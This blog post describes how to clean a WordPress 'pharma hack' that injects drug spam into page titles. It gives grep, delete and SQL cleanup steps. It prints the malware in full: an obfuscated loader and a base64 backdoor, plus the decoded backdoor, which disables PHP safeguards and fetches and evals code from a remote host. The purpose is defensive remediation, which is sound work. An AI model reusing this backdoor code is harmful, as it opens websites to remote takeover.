Cleaning up the Wordpress Pharma Hack

Cotton Rohrscheib called me a few days back wanting help fixing an apparent defacement (of sorts) on his website. Normally when a site is defaced, the pictures, text and other content are modified to make some sort of statement (be it political or otherwise). This hack was different - it only modified page titles and/or meta tags in order to exploit a site's search engine ranking to advertise cheap pharmaceuticals. So, instead of seeing the page titles in the search results you get this instead:

Not exactly what you wanted to see huh? It's a pretty clever concept but I'm not sure just how effective it is in selling these meds. I guess their thought is that if they can get high ranking sites to "advertise" for them then their trusted readers will purchase these items. Pretty sorry if you ask me, but as long as someone is making a dollar off of it, stuff like this will just continue.

So - how do you get rid of it? Well, it ain't so easy. Let me state up front that I am no Wordpress expert nor am I overly familiar with it's internal workings so it's possible I'm taking the long-way around. We scoured the web reading a ton of sites (special props to Sucuri) all with bits-and-pieces of the answer. None seemed to have the entire solution, so we're going to try to present our findings here. The first time we "removed" it wasn't complete - so checking periodically to see if it stays clean is pretty much mandatory. All of our servers run suPHP, but the hack was able to run successfully. I'm also not exactly sure how they "got in" so to speak, but irregardless of what others may say I believe it was a bug in Wordpress that was exploited before we applied the patch for it. suPHP will not allow a file to be read/executed unless it has correct permissions, so Wordpress itself (or one of it's many plugins) had to be the culprit. The latest ModSecurity ruleset will also help prevent these sort of attacks, but is not a solution for not patching sites as soon as possible. Security is a continuous process, not a "set it and forget it" model.

The command line is where I started looking for the culprit. Most of these hacks use some sort of base64_decode trick and this one is no exception. Unlike most of these exploits, this one has the actual code of the exploit backwards in the file so normal scans skip right over it. A bit more work is needed to sniff it out and get rid of it. The actual exploit begins with this:

< ? php $XZKsyG=’as’;$RqoaUO=’e';$ygDOEJ=$XZKsyG.’s’.$RqoaUO.’r’.’t';$joEDdb
=’b’.$XZKsyG.$RqoaUO.(64).’_’.’d’.$RqoaUO.’c’.’o’.’d’.$RqoaUO;@$ygDOEJ(@$j
oEDdb(‘ZXZhbChiYXNlNjRfZGVjb2RlKCJhV1lvYVhOelpY.......and so on...

To find it and delete it you need to SSH into your server, CD into the wordpress home directory and do the following -

grep -r 'php \$[a-zA-Z]*=.as.;' * |awk -F : '{print $1}' | xargs -I{} rm -v {}

This will scan the entire folder and all it's sub-directories for any file containing the string "php $RANDOMLETTERS='as'" and delete it verbosely. If you do not wish to delete it automatically just run this to print out the filename.
grep -r 'php \$[a-zA-Z]*=.as.;' * |awk -F : '{print $1}' When we did this, there were about 50 files that contained the exploit.

There are other files containing nasty code as well. You will also need to to search for and remove files containing the string "wp_class_support".

grep -r wp_class_support * |awk -F : '{print $1}' |xargs -I{} rm -v {}

This bit of syntax will search for files with that string and delete them (if you want to manually delete them, leave off the xargs part as per the above example).

I also found this nasty thing (not sure if it is related to the Pharma Hack) in several files. All were Wordpress core files, so you MUST replace every Wordpress file on your site with clean ones. DO NOT do this via the internal utility - use FTP, SCP, or whatever to get these files uploaded. Once you have done this, do

grep -r QGluaV9yZXN0b * |awk -F : '{print $1}'

This will search the remaining files for the exploit. Any files containing this MUST be replaced or you are still infected. The full text of the exploit the base64 encoded string as follows:

QGluaV9yZXN0b3JlKCJzYWZlX21vZGUiKTtAaW5pX3Jlc3RvcmUoIm9wZW5fYmFzZWRpciIpO0BpbmlfcmVzdG9yZSgic2Fm
ZV9tb2RlX2luY2x1ZGVfZGlyIik7QGluaV9yZXN0b3JlKCJzYWZlX21vZGVfZXhlY19kaXIiKTtAaW5pX3Jlc3RvcmUoImRp
c2FibGVfZnVuY3Rpb25zIik7QGluaV9yZXN0b3JlKCJhbGxvd191cmxfZm9wZW4iKTsNCmlmKEBmdW5jdGlvbl9leGlzdHMo
J2luaV9zZXQnKSkNCntAaW5pX3NldCgnZXJyb3JfbG9nJyxOVUxMKTsgQGluaV9zZXQoJ2xvZ19lcnJvcnMnLDApOyBAaW5p
X3NldCgnZmlsZV91cGxvYWRzJywxKTsgQGluaV9zZXQoJ2FsbG93X3VybF9mb3BlbicsMSk7fQ0KZWxzZXtAaW5pX2FsdGVy
KCdlcnJvcl9sb2cnLE5VTEwpOyBAaW5pX2FsdGVyKCdsb2dfZXJyb3JzJywwKTsgQGluaV9hbHRlcignZmlsZV91cGxvYWRz
JywxKTsgQGluaV9hbHRlcignYWxsb3dfdXJsX2ZvcGVuJywxKTt9DQpmdW5jdGlvbiBHZXRTaGVsbENvbnRlbnQoJGhvc3Qs
JHVybCl7aWYoQGZ1bmN0aW9uX2V4aXN0cygnY3VybF9pbml0JykpeyRmdWxsX3VybD0naHR0cDovLycuJGhvc3QuJy8nLiR1
cmw7JGN1cmw9Y3VybF9pbml0KCk7Y3VybF9zZXRvcHQoJGN1cmwsQ1VSTE9QVF9VUkwsJGZ1bGxfdXJsKTtjdXJsX3NldG9w
dCgkY3VybCxDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLHRydWUpO2N1cmxfc2V0b3B0KCRjdXJsLENVUkxPUFRfSEVBREVSLGZh
bHNlKTtjdXJsX3NldG9wdCgkY3VybCxDVVJMT1BUX0NPTk5FQ1RUSU1FT1VULDEwKTtjdXJsX3NldG9wdCgkY3VybCxDVVJM
T1BUX1VTRVJBR0VOVCwnTW96aWxsYS80LjAnKTskZGF0YT1AY3VybF9leGVjKCRjdXJsKTtjdXJsX2Nsb3NlKCRjdXJsKTty
ZXR1cm4gJGRhdGE7fWVsc2VpZihAZnVuY3Rpb25fZXhpc3RzKCdmc29ja29wZW4nKSl7JGZwPUBmc29ja29wZW4oJGhvc3Qs
ODAsJGVycm5vLCRlcnJzdHIsMTApO2lmKCRmcCl7JG91dD0iR0VUIC8kdXJsIi4iIEhUVFAvMS4wXHJcbiI7JG91dCAuPSJI
b3N0OiAkaG9zdFxyXG4iOyRvdXQgLj0iVXNlci1BZ2VudDogTW96aWxsYS80LjBcclxuIjskb3V0IC49IkNvbm5lY3Rpb246
IENsb3NlXHJcblxyXG4iO0Bmd3JpdGUoJGZwLCRvdXQpO3doaWxlKCRhbnNbXT1mZ2V0cygkZnApKTtmY2xvc2UoJGZwKTsk
YW5zPXRyaW0oaW1wbG9kZSgnJywkYW5zKSk7JGRhdGE9KHRyaW0oc3Vic3RyKCRhbnMsc3RycG9zKCRhbnMsIlxyXG5cclxu
IikpKSk7cmV0dXJuICRkYXRhO319ZWxzZWlmKEBmdW5jdGlvbl9leGlzdHMoJ2ZpbGVfZ2V0X2NvbnRlbnRzJykgJiYgQGlu
aV9nZXQoJ2FsbG93X3VybF9mb3BlbicpPT0xKXskZnVsbF91cmw9J2h0dHA6Ly8nLiRob3N0LicvJy4kdXJsOyRkYXRhPUBm
aWxlX2dldF9jb250ZW50cygkZnVsbF91cmwpO3JldHVybiAkZGF0YTt9fQ0KaWYoJF9SRVFVRVNUWydzaCddICE9ICIiKSB7
ZXZhbChiYXNlNjRfZGVjb2RlKEdldFNoZWxsQ29udGVudCgiXHg3M1x4NjVceDZmXHg3NFx4NmZceDZmXHg3M1x4MmVceDYz
XHg2Zlx4NmQiLCJzL2kucGhwPyIuJF9SRVFVRVNUWydzaCddLiImaG9zdD0iLnVybGVuY29kZSgkX1NFUlZFUlsnU0VSVkVS
X05BTUUnXSkuIiZ1cmw9Ii51cmxlbmNvZGUoJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10pKSkpO2V4aXQ7fQ==

Which decodes as

@ini_restore("safe_mode");@ini_restore("open_basedir");@ini_restore("safe_mode_include_dir");
@ini_restore("safe_mode_exec_dir");@ini_restore("disable_functions");@ini_restore("allow_url_fopen");
if(@function_exists('ini_set'))
{@ini_set('error_log',NULL); @ini_set('log_errors',0); @ini_set('file_uploads',1);
@ini_set('allow_url_fopen',1);}else{@ini_alter('error_log',NULL); @ini_alter('log_errors',0);
@ini_alter('file_uploads',1); @ini_alter('allow_url_fopen',1);}
function GetShellContent($host,$url){if(@function_exists('curl_init'))
{$full_url='http://'.$host.'/'.$url;$curl=curl_init();
curl_setopt($curl,CURLOPT_URL,$full_url);curl_setopt($curl,CURLOPT_RETURNTRANSFER,true);
curl_setopt($curl,CURLOPT_HEADER,false);curl_setopt($curl,CURLOPT_CONNECTTIMEOUT,10);
curl_setopt($curl,CURLOPT_USERAGENT,'Mozilla/4.0');$data=@curl_exec($curl);
curl_close($curl);return $data;}elseif(@function_exists('fsockopen'))
{$fp=@fsockopen($host,80,$errno,$errstr,10);
if($fp){$out="GET /$url"." HTTP/1.0\r\n";$out .="Host: $host\r\n";
$out .="User-Agent: Mozilla/4.0\r\n";$out .="Connection: Close\r\n\r\n";
@fwrite($fp,$out);while($ans[]=fgets($fp));fclose($fp);$ans=trim(implode('',$ans));
$data=(trim(substr($ans,strpos($ans,"\r\n\r\n"))));
return $data;}}elseif(@function_exists('file_get_contents') && @ini_get('allow_url_fopen')==1)
{$full_url='http://'.$host.'/'.$url;$data=@file_get_contents($full_url);return $data;}}
if($_REQUEST['sh'] != "")
{eval(base64_decode(GetShellContent("\x73\x65\x6f\x74\x6f\x6f\x73\x2e\x63\x6f\x6d","s/i.php?"
.$_REQUEST['sh']."&host=".urlencode($_SERVER['SERVER_NAME'])."&url=".urlencode
($_SERVER['REQUEST_URI']))));exit;}

I went ahead and scanned the whole site for files that had base64_decodes in them. To search for these do the following:

grep -r base64 * |awk -F : '{print $1}' |sort |uniq

This will print out a list of each file that contains the string "base64". You should examine each file carefully for rouge content, as many files legitimately contain this string and need it to function. If you are unsure of the code, replace the file with a fresh copy. Most of the files I've seen that are infected have the base64 statement at the very top of the file but this is not always the case.

Once you get the files cleaned, you need to work on the database. The exploit adds and/or modifies entries in the wp_options table. Using the MySQL interpreter or phpMyAdmin run the following query:

SELECT * FROM `wp_options` where `option_name` LIKE 'rss%' ORDER BY `wp_options`.`option_name` ASC;

This will search the wp_options table for all entries beginning with rss_ and return them. You will need to delete each one that looks similar to this:

rss_552afe0001e673901a9f2caebdd3141d

rss_ followed by strings of random numbers or letters is bad and MUST be deleted as they are added by the exploit. Also, the exploit adds or modifies several other records in the same table. A couple of the sites we found recommended running this query as well as these options should not be set or contain any data:

delete from wp_options where option_name = "class_generic_support";
delete from wp_options where option_name = "widget_generic_support";
delete from wp_options where option_name = "fwp’";
delete from wp_options where option_name = "wp_check_hash";
delete from wp_options where option_name = "ftp_credentials";

If all has went well, your site should be clean and Pharma-Hack free. One recommendation that the Wordpress folks make is to move the wp-config.php file up one directory from its normal location. Wordpress will look there automatically but a good portion of the exploits apparently don't. I would also change the admin password and create new Security Keys. Use Sucuri's Free Scanner to check your site after you've cleaned it to make sure you got it all, and check it periodically to make sure it stays that way. Pretty nasty little thing huh?